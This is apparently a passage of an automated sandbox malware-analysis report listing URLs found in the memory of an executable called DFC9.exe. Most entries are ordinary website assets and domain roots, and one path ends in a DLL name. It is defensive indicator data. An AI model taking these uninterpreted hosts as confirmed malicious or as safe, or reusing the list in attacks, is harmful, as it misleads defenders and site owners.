Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/jquery-ui-touch-punch/jquery-ui-touc
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/style.css?ve
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/vendors-styl
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/css/compatibility/elementor/elementor-global.min.cs
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/css/main.min.css?ver=9.12.0
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/fonts/FontAwesome/css/all.min.css?ver=9.12.0
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/fonts/icomoon-the7-font/icomoon-the7-font.min.css?v
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/js/above-the-fold.min.js?ver=9.12.0
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/js/compatibility/woocommerce/woocommerce.min.js?ver
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/js/main.min.js?ver=9.12.0
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/lib/custom-scrollbar/custom-scrollbar.min.css?ver=9
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/lib/custom-scrollbar/custom-scrollbar.min.js?ver=9.
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/lib/jquery-mousewheel/jquery-mousewheel.min.js?ver=
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/style.css?ver=9.12.0
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/elementor/css/global.css?ver=1664959878
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/elementor/css/post-1009.css?ver=1670679061
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/elementor/css/post-1185.css?ver=1664959878
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/elementor/css/post-17.css?ver=1664959878
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/favicon.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/the7-css/compatibility/wc-dt-custom.css?ver=899328ee298e
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/the7-css/css-vars.css?ver=899328ee298e
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/the7-css/custom.css?ver=899328ee298e
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/the7-css/media.css?ver=899328ee298e
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/the7-css/post-type-dynamic.css?ver=899328ee298e
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/css/dist/block-library/style.min.css?ver=5.8
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/jquery.min.js?ver=3.6.0
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/core.min.js?ver=1.12.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/effect-blind.min.js?ver=1.12.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/effect-fold.min.js?ver=1.12.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/effect-highlight.min.js?ver=1.12.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/effect-slide.min.js?ver=1.12.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/effect.min.js?ver=1.12.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/mouse.min.js?ver=1.12.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/slider.min.js?ver=1.12.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/wp-embed.min.js?ver=5.8
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/wlwmanifest.xml
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pdqhomes.com/
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.petsfan.com/L1
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.petsfan.com/h1
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pr-park.com/
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp, DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp, DFC9.exe, 00000015.00000002.556938701.0000000007280000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pupi.cz/
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pupi.cz/9
Source: DFC9.exe, 00000015.00000002.556938701.0000000007280000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pupi.cz/r
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pwd.org/
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quadlock.com/5K
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quadlock.com/eD
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.rs-ag.com/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.speelhal.net/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.speelhal.net/v
Source: DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.stajum.com/
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.synetik.net/
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.t-tre.com/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.tnbio.org
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.udesign.biz/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.udesign.biz/i
Source: DFC9.exe, 00000015.00000002.555216927.000000000498D000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.usadig.com
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valdal.com/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/#breadcrumb
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/#webpage
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/#website
Source: DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/&
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/172-appartement-a-vendre-lille-30534
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/174-appartement-a-vendre-grenoble-30514
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/177-appartement-a-vendre-sigean-30378
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/180-maison-a-vendre-milly-la-foret-41465
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/182-maison-a-vendre-royan-41301
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/184-appartement-a-vendre-valras-plage-41841
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/187-maison-a-vendre-bourg-saint-maurice-41586
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/189-appartement-a-vendre-ajaccio-41880
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/192-loffre-immobiliere-a-nogent-le-rotrou
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/195-coup-doeil-sur-le-marche-immobilier-a-chalon-sur-saone
Source: DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/6
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/?s=
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/achat-par-ville
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/astuces
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/comments/feed
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/feed
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/immobilier
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/page/2
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/page/4
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.5.2
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.5.2
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/themes/internet-provider/css/bootstrap.css?ver=6.0.3
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/themes/internet-provider/css/default.css?ver=6.0.3
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/themes/internet-provider/css/fontawesome-all.css?ver=6.0.3
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/themes/internet-provider/css/responsive.css?ver=6.0.3
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/themes/internet-provider/js/bootstrap.js?ver=6.0.3
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/themes/internet-provider/js/jquery.superfish.js?ver=6.0.3
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/themes/internet-provider/js/theme.js?ver=6.0.3
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/themes/internet-provider/style.css?ver=6.0.3
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/2020/06/primo-accedant-226x300.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/2020/06/primo-accedant.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/2022/12/image_20210920_231753_527-1024x682.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/2022/12/image_20210920_231753_527-300x200.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/2022/12/image_20210920_231753_527-768x512.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/2022/12/image_20210920_231753_527.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/2022/12/image_20210921_202844_701-1024x683.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/2022/12/image_20210921_202844_701-300x200.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/2022/12/image_20210921_202844_701-768x512.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/2022/12/image_20210921_202844_701.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/labsense/appartement-a-vendre/image_20210920_231701_126.j
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/labsense/appartement-a-vendre/image_20210920_231759_603.j
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/labsense/appartement-a-vendre/image_20210921_202756_533.j
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/labsense/appartement-a-vendre/image_20210921_202845_707.j
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/labsense/appartement-a-vendre/image_20210921_203320_2064.
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/labsense/maison-a-vendre/10198_hflip.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/labsense/maison-a-vendre/10533_hflip.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-content/uploads/labsense/maison-a-vendre/10653_hflip.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-includes/css/dist/block-library/style.min.css?ver=6.0.3
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.13.9
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-includes/js/jquery/jquery.min.js?ver=3.6.0
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-includes/wlwmanifest.xml
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/wp-json/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valselit.com/xmlrpc.php?rsd
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vazir.se/
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vazir.se/=
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vitaindu.com/
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vitaindu.com/MD
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.waldi.pl/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.waldi.pl/b
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.webeasy.com.hk
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.wifi4all.nl/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winhui.cn/template/default/img/fixedimg1.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winhui.cn/template/default/img/fixedimg3.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winhui.cn/template/default/img/fixedimg4.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winhui.cn/template/default/img/fixedimg6.png
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.wkhk.net/
Source: DFC9.exe, 00000015.00000002.555884273.0000000005E7D000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.wnsavoy.com
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp, DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.wnsavoy.com/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.wnsavoy.com/aenh.dll
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wyjzradio.com
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.x0c.com/
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.x0c.com/&HON
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.xaicom.es/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.yocinc.org/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.yoruksut.com/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.yumgiskor.kz/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.yumgiskor.kz/&
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/prototype/1.7.1.0/prototype.js?ver=1.7.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/effects.js?ver=1.9.0
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/scriptaculous.js?ver=1.9.0
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.w.org/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://code.jquery.com/jquery-2.1.4.min.js
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css2?family=Poppins%3Aital%2Cwght%400%2C100%3B0%2C200%3B0%2C300%3B0%2C5
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto%3A300%2C300i%2C400%2C400i%2C700%2C700i&subset=la
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:400
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gmpg.org/xfn/11
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://lolipop.jp/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://minne.com/?utm_source=lolipop&utm_medium=banner&utm_campaign=synergy&utm_content=404
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ogp.me/ns#
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pcgrate.com/cart/request-quote/
